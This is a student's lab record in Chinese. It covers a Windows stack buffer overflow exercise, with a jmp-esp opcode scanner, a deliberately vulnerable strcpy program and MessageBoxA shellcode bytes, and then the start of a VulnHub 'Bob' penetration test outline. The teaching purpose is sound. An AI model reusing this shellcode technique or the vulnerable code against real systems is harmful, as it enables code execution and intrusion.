实训记录

实训1 项目名称: 缓冲区溢出利用

一、环境及工具

基本信息

  • 实验环境:Windows操作系统,使用Dev-C++ 5.11进行编译
  • 设备:个人计算机
  • 前置知识:C/C++编程基础,汇编语言基础,操作系统原理,网络安全基础
  • 必要的课程:计算机安全,网络安全
  • 说明:本实验旨在通过实践操作,深入理解缓冲区溢出的原理和利用方法,掌握编写和执行shellcode的基本技能。
  • 推荐的文章链接:(缓冲区溢出漏洞的原理及其利用实战 - 浅易深 - 博客园 (cnblogs.com))

前置知识

  • C/C++编程基础:理解数组、指针、字符串处理函数(如strcpy)的使用,以及函数调用过程中栈帧的变化。

  • 操作系统原理:了解进程和线程的基本概念,以及内存管理中的堆、栈、代码区和数据区。

  • 汇编语言基础:能够阅读和理解简单的汇编代码,了解寄存器的作用和常见的汇编指令。

  • 调试工具的使用:熟悉使用OllyDbg、IDA Pro等调试工具来分析程序的执行过程和内存布局。

  • 安全编程概念:了解缓冲区溢出漏洞的成因,以及如何通过安全编程实践来预防这类漏洞。

  • Windows API函数:对于Windows平台,需要了解如何使用MessageBoxA、ExitProcess等API函数。

  • Shellcode编写:理解如何编写简单的shellcode来执行特定的系统调用,如弹出对话框。

  • 动态链接库(DLL)和函数地址获取:了解如何在程序中加载DLL并获取特定函数的地址。

  • 操作系统保护机制:了解现代操作系统中用于防御缓冲区溢出的机制,如数据执行保护(DEP)和地址空间布局随机化(ASLR)。

  • Linux,x86体系结构,x86汇编,C语言,gdb

  • 缓冲区溢出(buffer overflow):在计算机安全和程序设计中的一种异常,当一个程序向缓冲区写入数据时,超出了缓冲区边界并且覆盖了相邻内存。
  • 调用栈(call stack):用于存储程序中运行子例程信息的栈数据结构,先入后出。

  • 栈缓冲区溢出(stack buffer overflow):程序向调用栈中原本缓冲区之外的内存地址写入数据,意图获取对指令指针的控制,将其指向恶意代码。

准备工作

  1. 环境搭建:确保操作系统和编译器已正确安装,调试工具OllyDbg和IDA Pro已配置好。
  2. 知识复习:回顾C/C++编程基础,特别是数组和指针的使用,以及操作系统中堆栈的工作原理。
  3. 实验目的:明确实验的目标是理解和掌握缓冲区溢出攻击的原理和方法。
  4. 实验内容:详细阅读实验指导书,了解实验步骤和预期结果。
  5. 参考资料:查阅相关文献和网络资源,如缓冲区溢出利用实验遇到的几个问题,为实验提供理论支持。

实验原理

缓冲区溢出是一种常见的软件安全漏洞,它发生在程序处理输入数据时,没有正确检查数据的长度,导致数据超出了分配给该数据的内存空间,从而覆盖了相邻的内存区域。这种溢出可以破坏程序的正常执行流程,甚至允许攻击者执行任意代码。在实验中,我们将通过编写一个存在缓冲区溢出漏洞的程序,然后利用这个漏洞来执行我们控制的代码,例如弹出一个警告对话框。

缓冲区溢出漏洞的实验原理基于程序在处理输入数据时的缺陷。在C/C++程序中,如果使用如strcpy这样的函数来复制字符串到一个固定大小的缓冲区,而没有检查字符串的长度,那么当输入的字符串超过缓冲区的大小时,多余的数据就会溢出到相邻的内存区域。这个相邻的内存区域可能包含程序的返回地址,如果攻击者能够控制这个返回地址,就可以让程序执行攻击者指定的代码,这就是所谓的“控制流劫持”。

在实验中,我们会创建一个简单的程序,该程序包含一个易受攻击的函数,该函数会接收用户输入并将其复制到一个固定大小的缓冲区。然后,我们会构造一个特殊的输入字符串,使其长度超过缓冲区的大小,从而触发溢出。通过精心构造这个字符串,我们可以覆盖返回地址,使其指向我们准备的shellcode。当程序执行到返回指令时,它会跳转到shellcode的地址,执行我们注入的代码。

通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,进而运行精心准备的指令,以达到攻击的目的。

如上图,程序的缓冲区比作一个个格子(内存单元),每个格子中存放不同的东西,有的是命令,有的是数据,当程序需要接收用户数据,程序预先为之分配了4个格子(上图中黄色的0~3号格子)。

按照程序设计,就是要求用户输入的数据不超过4个。

而用户在输入数据时,假设输入了16个数据,而且程序也没有对用户输入数据的多少进行检查(这种情况太常见了,windows系统本身就出过n个缓冲区溢出漏洞),就往预先分配的格子中存放,这样不仅4个分配的格子(内存)被使用了,其后相邻的12个格子中的内容都被新数据覆盖。

一般情况下后面的格子是可以被当成代码执行的,嘿嘿,那么好玩的事情来了,我们可以精心制造一段指令,比如格式化硬盘指令来让cpu执行。

堆栈溢出是如何形成的?

简单来说,堆栈溢出就是把大缓冲区中的数据向小缓冲区中复制,由于没有关注小缓冲区的边界,“撑爆”了较小的缓冲区,从而冲掉了小缓冲区和邻内区域的其他数据而引起的内存问题。在具体描述堆栈溢出之前我们先来了解一下 Linux 程序在内存中的结构:

其中共享区也称为 data 区,用来存储可执行代码;.text 和 .bss 均用来存储程序的全局变量和初始化变量;堆则不随函数消亡而消亡,而是直到程序消亡或手动释放才会消亡;堆栈是随着函数分配并消亡的,堆栈溢出就是出现在堆栈区中的缓冲区安全问题。

堆栈是一个后进先出(LIFO)数据结构,往低地址增长,它保存本地变量、函数调用等信息。随着函数调用层数的增加,栈帧会向低地址方向延伸;随着进程中函数调用层数的减少,即各函数的返回,栈帧会一块一块地被遗弃而向内存的高地址方向回缩。各函数的栈帧大小随着函数的性质不同而不等。

堆栈这种数据结构,常见操作有压栈(PUSH)、弹栈(POP);用于标识栈的属性有:栈顶(TOP)、栈底(BASE)。

其中:

◈ PUSH:为栈增加一个元素的操作叫做 PUSH,相当于插入一块;

◈ POP:从栈中取出一个元素的操作叫做 POP;

◈ TOP:TOP 标识栈顶的位置,且是动态变化的,每做一次 PUSH 操作,它会自 +1;每做一次 POP 操作,它会自 -1;

◈ BASE:BASE 标识栈底位置,用于防止栈空后继续弹栈,一般来说BASE位置不发生改变。

下面以 main 函数叠加 A 和 B 函数为例说明整个压栈和弹栈过程:

Main 函数调用 A 函数,把 A 函数中的变量添加到堆栈区内,开辟大小和变量指定大小相关。同样 B 函数在被调用后也会把变量添加到堆栈区内,开辟指定大小空间给 B 区域变量使用。

◈如果其中任意一个变量存入的值超过设计的界定,就会导致值覆盖其他变量的区域最终污染到函数返回地址区域。一旦函数的返回地址被污染,在进行弹栈的过程中会最终把跳转的地址指向黑客所指定的区域,或根本不存在的区域。

◈如果覆盖函数返回地址的是一组随机值,则程序会跳转到未知位置,这种情况往往最终会导致整个程序崩溃。

◈如果黑客构造足够精细的 shellcode,把跳转地址指向黑客自己注入的代码,则很可能会利用该漏洞获得当前用户的控制权限。

实验概述

  • 实验目的:通过模拟缓冲区溢出攻击,理解其原理,掌握利用方法。
  • 实验要求:编写程序实现缓冲区溢出,执行特定功能(如弹出MessageBox警告框)。
  • 实验原理:利用程序在处理输入时未正确检查缓冲区大小,导致数据溢出到相邻内存区域,覆盖关键数据(如返回地址),从而控制程序流程。

实验中可能出现的问题

  1. 编译器优化:某些编译器可能会对代码进行优化,这可能会改变程序的内存布局,使得溢出攻击更加困难。例如,编译器可能会将局部变量移动到堆上,或者在编译时自动插入安全检查。

  2. 栈保护机制:现代操作系统和编译器可能会启用栈保护机制,如StackGuard或ProPolice,这些机制会检测并阻止栈溢出。

  3. 地址随机化:地址空间布局随机化(ASLR)会随机化程序和库在内存中的位置,使得预测shellcode的执行地址变得困难。

  4. 数据执行保护:数据执行保护(DEP)会标记某些内存区域为不可执行,阻止攻击者执行注入的代码。

  5. 调试器干扰:在调试过程中,调试器可能会改变程序的执行行为,例如通过断点或单步执行,这可能会影响溢出攻击的成功率。

  6. shellcode兼容性:编写的shellcode需要与目标系统的架构(如x86或x64)兼容,并且需要考虑到目标系统上的特定API函数地址。

  7. 错误处理:程序可能会有错误处理逻辑,如异常处理,这可能会在溢出发生时执行,从而影响攻击的执行流程。

  8. 环境差异:不同的操作系统版本、编译器版本和系统配置可能会导致实验结果不一致。

为了成功完成实验,实验者需要对上述问题有所了解,并在实验设计中考虑到这些潜在的障碍。通过实验,实验者将能够更深入地理解缓冲区溢出的原理,并学会如何识别和利用这类漏洞。

二、实训流程及分析

关键步骤

  1. 精确定位返回地址的位置:通过调试工具分析程序执行过程中的堆栈变化,确定函数返回地址在堆栈中的具体位置。
  2. 寻找合适的地址覆盖原始地址:使用动态链接库(如user32.dll)中的跳转指令(如jmp esp)来找到一个合适的地址,以便将控制流引导到我们的shellcode。
  3. 编写shellcode到相应的缓冲区中:编写shellcode并将其放置在合适的内存位置,以便在覆盖后的地址执行。

特别说明:在本实训中,我们将攻击代码(即MessageBox弹窗警告)直接写在jmp esp或call esp地址后面。这是因为jmp esp指令会跳转到栈指针(ESP)指向的地址执行代码,而我们的shellcode正好位于这个位置。这种方法可以确保在栈溢出时,执行流被重定向到我们控制的代码区域。

精确定位返回地址

  1. 编译模式对比:首先,我们对比了不同编译模式下的栈空间分配。在debug模式下,编译器会为数组预留更多的空间,这可能会影响返回地址的定位。通过使用OllyDbg,我们观察了不同编译模式下返回地址的位置,以确保我们能够准确定位到目标地址。

  2. 调试程序源码分析:我们编写了一个简单的调试程序,使用32bit-debug模式编译。通过观察程序执行后返回地址的内容,我们确定了返回地址的确切位置。

  3. ESP和EBP的入栈:在程序执行过程中,我们观察到ESP和EBP的值会入栈。这为我们提供了一个参考点,以便在后续步骤中确定正确的地址。

寻找合适的跳转地址

  1. jmp esp(call esp)的利用:我们利用了jmp esp(call esp)指令的特性,这种指令允许程序跳转到ESP寄存器指向的地址。通过搜索kernel32.dll,我们找到了一些call esp的地址,这些地址可以被用来实现跳转。

  2. user32.dll的加载:由于MessageBoxA函数需要user32.dll动态链接库,我们必须确保主程序加载了这个库。否则,MessageBoxA调用将失败。

编写shellcode并执行

  1. shellcode编写:我们编写了一个简单的shellcode,其目的是调用MessageBoxA函数来弹出警告框。这个shellcode需要被放置在程序的缓冲区中,以便在溢出时执行。

  2. 攻击代码的放置:我们将shellcode直接写在jmp esp或者call esp地址后面,这样做的原因是,一旦jmp esp或call esp指令被执行,程序的控制流将跳转到ESP寄存器指向的地址,即我们的shellcode。这样,我们就可以控制程序执行我们想要的代码,而不是返回到原始的返回地址。

  3. 程序执行:在程序执行过程中,我们通过溢出输入,覆盖了返回地址,使其指向我们的shellcode。当程序执行到返回指令时,它将跳转到shellcode,执行我们定义的操作(弹出MessageBoxA)。

遇到的问题

  1. 编译器的嵌套堆栈保护:在某些编译器版本中,如Dev-C++ 5.11,存在嵌套堆栈的保护机制。这会使得溢出后无法直接返回到我们想要的地址。为了解决这个问题,我们采用了几种方法:预留出足够的空间来覆盖嵌套堆栈,直接在动态调试器中修改汇编指令,或者更换编译器版本。

  2. 调试器报错:在使用Dev-C++ 5.11编译时,我们在“__try”处遇到了报错。这提示我们需要更换编译器,或者使用其他等价的函数来避免错误。

  3. 动态链接库的加载问题:在未正确加载user32.dll的情况下,MessageBoxA调用会失败。这要求我们在编写shellcode之前确保所有必要的动态链接库都被正确加载。

通过这些步骤和对问题的解决,我们成功地实现了缓冲区溢出攻击,并且弹出了MessageBoxA警告框。这个过程不仅加深了我们对缓冲区溢出原理的理解,也提高了我们在实际环境中识别和利用此类漏洞的能力。

具体操作

1
2
user32=0x763f0000
ExitProcess= 0x764174d0
1
user32=0x75880000                                                                                         MessageBoxA= 0x758fa110
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
int main()
{
HINSTANCE hHandle = LoadLibrary("user32.dll");
if(!hHandle)
{
printf("LoadLibrary Error!");
return 0;
}
BYTE* ptr =(BYTE*)hHandle;
int address;
BOOL done_Flag=false;
for(int i=0;!done_Flag;i++)
{

__try
{
if (ptr[i] == 0xFF && ptr[i + 1] == 0xD4) //jmp esp FFE4 ; call esp FFD4
{
address = (int)ptr+i;
printf("OPCODE found at 0x%x\n",address);
}


}
__except (EXCEPTION_EXECUTE_HANDLER){}
{
// address = (int)ptr+i;
// printf("OPCODE found at 0x%x\n",address);
// done_Flag=true;
}


}
getchar();
return 0;

}

/*
OPCODE found at 0x76077be7
OPCODE found at 0x76078cad
OPCODE found at 0x76078cb9
OPCODE found at 0x76079d7f
OPCODE found at 0x7607ad25
OPCODE found at 0x7607dea7
OPCODE found at 0x7607dffb
OPCODE found at 0x7607e00b
OPCODE found at 0x76080be5
OPCODE found at 0x76080be9
OPCODE found at 0x76080ff9
OPCODE found at 0x760812d1
OPCODE found at 0x760823a3
OPCODE found at 0x7608345d
OPCODE found at 0x76083e2b
OPCODE found at 0x76084523
OPCODE found at 0x76084ef9
OPCODE found at 0x760855e9
*/

D:/文件/大学/实训/缓冲区溢出/SearchJmpEsp.cpp 0 -1 In function 'int main()':
D:/文件/大学/实训/缓冲区溢出/SearchJmpEsp.cpp 18 17 [错误] '__try' was not declared in this scope
D:/文件/大学/实训/缓冲区溢出/SearchJmpEsp.cpp 28 17 [错误] '__except' was not declared in this scope
D:/文件/大学/实训/缓冲区溢出/SearchJmpEsp.cpp 12 15 [警告] unused variable 'ptr' [-Wunused-variable]
D:/文件/大学/实训/缓冲区溢出/SearchJmpEsp.cpp 13 13 [警告] unused variable 'address' [-Wunused-variable]

原程序遇到的编译错误和警告表明有几个问题需要解决:

  1. __try__except 未声明:这些是 Microsoft 特有的结构化异常处理(SEH)关键字,仅在特定的编译器(如 MSVC)中可用。如果您在 DevC++ 或其他非 MSVC 编译器中编译此代码,这些关键字将不可用。

  2. 未使用的变量:警告表明 ptraddress 变量被声明但未使用。这可能是因为代码中有逻辑错误或不完整的实现。

要修复这些问题,我们可以做如下修改:

  • 替换 __try__except 为标准的 C++ 异常处理,如果需要的话。但是,由于您的目的是扫描内存,可能不需要异常处理。
  • 确保所有声明的变量都被正确使用。

以下是修改后的代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

int main() {
HINSTANCE hHandle = LoadLibrary("user32.dll");
if (!hHandle) {
printf("LoadLibrary Error!");
return 0;
}

BYTE* ptr = (BYTE*)hHandle;
uintptr_t address; // 使用 uintptr_t 以兼容 64 位系统

for (uintptr_t i = 0; i < 0x1000000; i++) { // 假定扫描的最大范围
if (ptr[i] == 0xFF && ptr[i + 1] == 0xD4) {
address = (uintptr_t)ptr + i;
printf("OPCODE found at 0x%p\n", (void*)address);
}
}

getchar();
return 0;
}

这段代码在 user32.dll 中搜索特定的机器码(0xFF0xD4),并打印出找到的每个地址。请记住,直接访问系统库的内存可能导致不稳定的行为,因此请小心使用。此外,这段代码可能需要在具有管理员权限的环境中运行,以获取对系统库的访问权限。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
OPCODE found at 0x75940FBF
OPCODE found at 0x75940FC3
OPCODE found at 0x75940FC7
OPCODE found at 0x75941013
OPCODE found at 0x759410EF
OPCODE found at 0x7594117B
OPCODE found at 0x7594127F
OPCODE found at 0x75941383
OPCODE found at 0x75941CA7
OPCODE found at 0x75941DA7
OPCODE found at 0x75941E1B
OPCODE found at 0x75941EA7
OPCODE found at 0x75941F1B
OPCODE found at 0x75941F77
OPCODE found at 0x75941FA7
OPCODE found at 0x759420A7
OPCODE found at 0x75942183
OPCODE found at 0x759421A7
OPCODE found at 0x759422A7
OPCODE found at 0x759423A7
OPCODE found at 0x759424A7
OPCODE found at 0x759425A7
OPCODE found at 0x759426A7
OPCODE found at 0x75942783
OPCODE found at 0x759427A7
OPCODE found at 0x759428A7
OPCODE found at 0x759429A7
OPCODE found at 0x75942AA7
OPCODE found at 0x75942BA7
OPCODE found at 0x75942CA7
OPCODE found at 0x75942DA7
OPCODE found at 0x75942EA7
OPCODE found at 0x75942FA7
OPCODE found at 0x759430A7
OPCODE found at 0x759431A7
OPCODE found at 0x759432A7
OPCODE found at 0x759433A7
OPCODE found at 0x759434A7
OPCODE found at 0x759435A7
OPCODE found at 0x759436A7
OPCODE found at 0x759437AB
OPCODE found at 0x7594CBA7
OPCODE found at 0x7594CBCF
OPCODE found at 0x7594D67B
OPCODE found at 0x7594F437
OPCODE found at 0x7594FA27
OPCODE found at 0x75952433
OPCODE found at 0x75958ADB
OPCODE found at 0x759592F7
OPCODE found at 0x75959F07
OPCODE found at 0x7595A10B
OPCODE found at 0x7595A417
OPCODE found at 0x7595ADA7
OPCODE found at 0x7595AEB3
OPCODE found at 0x7595AFB7
OPCODE found at 0x7595B0BF
OPCODE found at 0x7595B1C7
OPCODE found at 0x7595B2CB
OPCODE found at 0x7595B3D3
OPCODE found at 0x7595B6DF
OPCODE found at 0x7595B9F3
OPCODE found at 0x7595BAFF
OPCODE found at 0x7595BC07
OPCODE found at 0x7595BE13
OPCODE found at 0x7595BF1F
OPCODE found at 0x7595CB1F
OPCODE found at 0x7595D70F
OPCODE found at 0x7595D7C7
OPCODE found at 0x7595DDDF
OPCODE found at 0x7595DF0B
OPCODE found at 0x7595DFD3
OPCODE found at 0x7595E09B
OPCODE found at 0x7595E163
OPCODE found at 0x7595E543
OPCODE found at 0x7595E607
OPCODE found at 0x7595E6CF
OPCODE found at 0x7595E797
OPCODE found at 0x7595E857
OPCODE found at 0x7595E913
OPCODE found at 0x7595F097
OPCODE found at 0x7595F0CB
OPCODE found at 0x7595F39F
OPCODE found at 0x7595F6EF
OPCODE found at 0x7595F773
OPCODE found at 0x7595F7FB
OPCODE found at 0x7595FB23
OPCODE found at 0x7595FBA7
OPCODE found at 0x7596008F
OPCODE found at 0x759600D7
OPCODE found at 0x75960163
OPCODE found at 0x75964AE3
OPCODE found at 0x759677BB
OPCODE found at 0x75968B27
OPCODE found at 0x75969827
OPCODE found at 0x759698EB
OPCODE found at 0x75969AC7
OPCODE found at 0x7596B0D3
OPCODE found at 0x7596B7B3
OPCODE found at 0x75970AFB
OPCODE found at 0x759733D3
OPCODE found at 0x759734D3
OPCODE found at 0x759734DB
OPCODE found at 0x759734DF
OPCODE found at 0x759734E3
OPCODE found at 0x759735E7
OPCODE found at 0x759735F7
OPCODE found at 0x759735FB
OPCODE found at 0x75973703
OPCODE found at 0x75973707
OPCODE found at 0x7597370B
OPCODE found at 0x75973917
OPCODE found at 0x75973C27
OPCODE found at 0x75973CEF
OPCODE found at 0x75973D37
OPCODE found at 0x75973E3B
OPCODE found at 0x7597410B
OPCODE found at 0x75974B3F
OPCODE found at 0x759754F7
OPCODE found at 0x75975E77
OPCODE found at 0x75975E7B
OPCODE found at 0x75975E7F
OPCODE found at 0x75975E83
OPCODE found at 0x75975E87
OPCODE found at 0x75975E8B
OPCODE found at 0x75975E8F
OPCODE found at 0x75975E93
OPCODE found at 0x75975F2F
OPCODE found at 0x75975F5F
OPCODE found at 0x75975FEF
OPCODE found at 0x75976283
OPCODE found at 0x75976407
OPCODE found at 0x759764BF
OPCODE found at 0x759764CB
OPCODE found at 0x7597658F
OPCODE found at 0x7597664F
OPCODE found at 0x75976877
OPCODE found at 0x759770EB
OPCODE found at 0x75978073
OPCODE found at 0x75978077
OPCODE found at 0x75978153
OPCODE found at 0x7597CDBF
OPCODE found at 0x7597CDC3
OPCODE found at 0x7597CDC7
OPCODE found at 0x7597CE13
OPCODE found at 0x7597CEEF
OPCODE found at 0x7597CF7B
OPCODE found at 0x7597D07F
OPCODE found at 0x7597D183
OPCODE found at 0x7597DAA7
OPCODE found at 0x7597DBA7
OPCODE found at 0x7597DC1B
OPCODE found at 0x7597DCA7
OPCODE found at 0x7597DD1B
OPCODE found at 0x7597DD77
OPCODE found at 0x7597DDA7
OPCODE found at 0x7597DEA7
OPCODE found at 0x7597DF83
OPCODE found at 0x7597DFA7
OPCODE found at 0x7597E0A7
OPCODE found at 0x7597E1A7
OPCODE found at 0x7597E2A7
OPCODE found at 0x7597E3A7
OPCODE found at 0x7597E4A7
OPCODE found at 0x7597E583
OPCODE found at 0x7597E5A7
OPCODE found at 0x7597E6A7
OPCODE found at 0x7597E7A7
OPCODE found at 0x7597E8A7
OPCODE found at 0x7597E9A7
OPCODE found at 0x7597EAA7
OPCODE found at 0x7597EBA7
OPCODE found at 0x7597ECA7
OPCODE found at 0x7597EDA7
OPCODE found at 0x7597EEA7
OPCODE found at 0x7597EFA7
OPCODE found at 0x7597F0A7
OPCODE found at 0x7597F1A7
OPCODE found at 0x7597F2A7
OPCODE found at 0x7597F3A7
OPCODE found at 0x7597F4A7
OPCODE found at 0x7597F5AB
OPCODE found at 0x7599109B
OPCODE found at 0x7599109F
OPCODE found at 0x759929EB
OPCODE found at 0x75993183
OPCODE found at 0x75993CF7
OPCODE found at 0x75993D0F
OPCODE found at 0x7599481B
OPCODE found at 0x75994BFB
OPCODE found at 0x75994C9F
OPCODE found at 0x7599595B
OPCODE found at 0x7599595F
OPCODE found at 0x75995E8C
OPCODE found at 0x75995E9C
OPCODE found at 0x75995F6C
OPCODE found at 0x7599E18F
OPCODE found at 0x7599FA1B
OPCODE found at 0x759A0FCB
OPCODE found at 0x759A261F
OPCODE found at 0x759A2627
OPCODE found at 0x759A270F
OPCODE found at 0x759A4633
OPCODE found at 0x759A4637
OPCODE found at 0x759B2CF7
OPCODE found at 0x759B38EF
OPCODE found at 0x759B4CE7
OPCODE found at 0x759B512B
OPCODE found at 0x759BF74F
OPCODE found at 0x759C0FDB
OPCODE found at 0x759C258B
OPCODE found at 0x759C3BDF
OPCODE found at 0x759C3BE7
OPCODE found at 0x759C3CCF
OPCODE found at 0x759C5BF3
OPCODE found at 0x759C5BF7
OPCODE found at 0x759C797B
OPCODE found at 0x759C98EB
OPCODE found at 0x759CA1CF
OPCODE found at 0x759E5AA9
OPCODE found at 0x759E66DF
OPCODE found at 0x759E6AE3
OPCODE found at 0x759E6B6F
OPCODE found at 0x759E6B73
OPCODE found at 0x759EEBA3
OPCODE found at 0x759F0D2F
OPCODE found at 0x759F1C91
OPCODE found at 0x759F34B7
OPCODE found at 0x759F457D
OPCODE found at 0x759F8929
OPCODE found at 0x759F9253
OPCODE found at 0x759F955F
OPCODE found at 0x759F9963
OPCODE found at 0x759F99EF
OPCODE found at 0x759F99F3
OPCODE found at 0x75A01A23
OPCODE found at 0x75A03BAF
OPCODE found at 0x75A06337
OPCODE found at 0x75A073FD
OPCODE found at 0x75A0D5BD
OPCODE found at 0x75A105FB
OPCODE found at 0x75A12293
OPCODE found at 0x75A17D19
OPCODE found at 0x75A18A67
OPCODE found at 0x75A1AEEB
OPCODE found at 0x75A1BF31
OPCODE found at 0x75A1DBA1

strcy.cpp程序实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#include <stdio.h>
#include <string.h>
#include <windows.h>

// 恶意代码的shellcode,使用十六进制表示
char name[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xBF\x0F\x94\x75"//这里调用
"\x83\xEC\x50"
"\x33\xDB"
"\x53"
"\x68\x69\x6E\x67\x20"
"\x68\x57\x61\x72\x6E"
"\x8B\xC4"
"\x53"
"\x68\x21\x20\x20\x20"
"\x68\x63\x6B\x65\x64"
"\x68\x6E\x20\x68\x61"
"\x68\x20\x62\x65\x65"
"\x68\x68\x61\x76\x65"
"\x68\x59\x6F\x75\x20"
"\x8B\xCC"
"\x53"
"\x50"
"\x51"
"\x53"
"\xB8\x10\xa1\x8f\x75"//\xB8不能改,小端存储
"\xFF\xD0"
"\x53"
"\xB8\xd0\x74\x41\x76" //\xB8不能改,小端存储
"\xFF\xD0";

int main() {
char st[11];
LoadLibrary("user32.dll");
// 将shellcode复制到更小的缓冲区,这可能导致缓冲区溢出
strcpy(st, name);
printf("%s\n",st);
// 打印复制到缓冲区的内容
getchar();
return 0;
}

/*
以下是注释掉的代码,看起来像是用于动态加载库的代码片段,可能用于进一步的溢出利用
"\x8D\x4C\x24\x04"
"\x83\xE4\xF0"
"\xFF\x71\xFC"
"\x55"
"\x89\xE5"
"\x51"
"\x83\xEC\x14"
"\xE8\x8A\x09\x00\x00"
"\xC7\x44\x24\x0C\x00\x00\x00\x00"
"\xC7\x44\x24\x08\x00\x40\x40\x00"
"\xC7\x44\x24\x04\x08\x40\x40\x00"
"\xC7\x04\x24\x00\x00\x00\x00"
"\xA1\xE0\x61\x40\x00"
"\xFF\xD0"
"\x83\xEC\x10"
"\xC7\x04\x24\x00\x00\x00\x00"
"\xA1\x24\x61\x40\x00"
"\xFF\xD0"
*/

三、总结

实验收获

  • 理论与实践结合:通过实验操作,加深了对缓冲区溢出攻击原理的理解。
  • 问题解决能力:在实验过程中遇到问题,如编译模式对栈空间的影响,学会了如何查找和解决问题。
  • 安全意识提升:认识到了安全编程的重要性,以及在软件开发中预防缓冲区溢出的必要性。

实验方法

  1. 精确定位返回地址的位置:通过调试工具(如OllyDbg)观察程序执行过程中堆栈的变化,找到返回地址。
  2. 寻找一个合适的地址用于覆盖原始地址:使用jmp esp或call esp等指令,跳转到shellcode执行。
  3. 编写shellcode到相应的缓冲区中:编写能够执行特定功能的shellcode,并将其放入程序的缓冲区。

实验结果

  • 成功实现了缓冲区溢出,程序执行了预期的MessageBox弹窗警告。
  • 通过IDA Pro分析,确认了shellcode执行后程序的控制流程。

分析与讨论

  • 实验结果符合预期,验证了缓冲区溢出攻击的可行性。
  • 实验中遇到的问题,如编译模式对栈空间的影响,以及动态链接库的加载,都对攻击成功与否有重要影响。

实验结论

  • 缓冲区溢出攻击是一种有效的软件漏洞利用技术,需要开发者在编写程序时注意边界检查和内存管理。
  • 实验加深了对缓冲区溢出攻击原理的理解,提高了安全编程意识。

实验总结

  • 实验目的达成:成功完成了缓冲区溢出攻击的模拟,实现了预期的功能。
  • 实验过程记录:详细记录了实验步骤和遇到的问题,为后续分析提供了依据。
  • 实验结果分析:对实验结果进行了分析,与理论预期进行了比较,得出了有意义的结论。
  • 实验意义:实验不仅提升了技术能力,更重要的是提高了安全意识,对于未来的软件开发和安全防护工作具有重要意义。

实训2 项目名称: Bob渗透测试

一、环境及工具

环境
工具
  1. Nmap:用于主机发现和端口扫描
  2. Nikto:用于网站漏洞扫描
  3. Dirb:用于敏感文件和目录的探索
  4. Burp Suite:用于Web应用的安全测试
  5. Netcat(NC):用于网络操作,如端口监听和Shell连接
实验概述

目的:通过对目标主机Bob的渗透测试,理解和掌握基本的网络安全渗透方法。

要求

  • 完成对目标主机的信息收集
  • 执行渗透测试
  • 获取目标主机控制权
  • 进行后续的深度渗透和数据分析

原理:使用渗透测试工具进行目标主机的漏洞扫描、利用发现的漏洞获取目标主机的控制权,从而理解攻击者可能利用的方法和手段。

准备工作

靶场

Bob: 1.0.1 ~ VulnHub

攻击工具kali虚拟机

直接双击打开即可添加到虚拟机。打开后网卡使用NAT模式。

没有给用户名和密码。(给了就没有攻击的必要了 hhh)

二、实训流程及分析

1. 信息收集
  • 操作:使用Nmap进行目标主机发现和端口扫描。
  • 目的:确定目标主机在网络上的存在,并识别开放的端口和服务。
  • 分析:通过扫描结果,获取目标主机的网络结构和潜在漏洞点。
2. 网站信息收集
  • 操作:使用Nikto扫描目标网站。
  • 目的:寻找网站潜在的安全漏洞和敏感信息。
  • 分析:识别出的漏洞为后续的渗透提供了切入点。
3. 敏感文件扫描
  • 操作:用Dirb工具进行网页敏感文件扫描。
  • 目的:探索和识别隐藏的、未经授权的文件和目录。
  • 分析:发现的敏感文件可能包含有用的信息,为进一步的渗透提供帮助。
4. 渗透测试
  • 操作:通过Webshell在浏览器中执行命令。
  • 目的:验证网站的安全性和执行服务器命令的能力。
  • 分析:执行的命令和反馈结果帮助了解目标系统的内部结构。
5. 抓包分析
  • 操作:使用Burp Suite捕捉和分析网络流量。
  • 目的:观察数据传输过程,寻找可能的安全漏洞。
  • 分析:捕获的数据包揭示了Web应用的通信细节和潜在的安全问题。
6. 获取Shell控制权
  • 操作:通过Netcat在Kali上监听端口,然后通过Burp Suite发起Shell链接。
  • 目的:获得目标主机的控制权。
  • 分析:成功连接到Shell意味着可以远程控制目标主机。
7. 具体细节

本地信息收集
打开kali(集成了大量渗透工具)。
使用nmap扫描神器探测本网段存活主机IP,从而确定靶机IP地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(root㉿kali)-[~]
└─# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.233.135 netmask 255.255.255.0 broadcast 192.168.233.255
inet6 fe80::20c:29ff:fe98:3ed0 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:98:3e:d0 txqueuelen 1000 (Ethernet)
RX packets 3959 bytes 3668336 (3.4 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 2113 bytes 305050 (297.9 KiB)
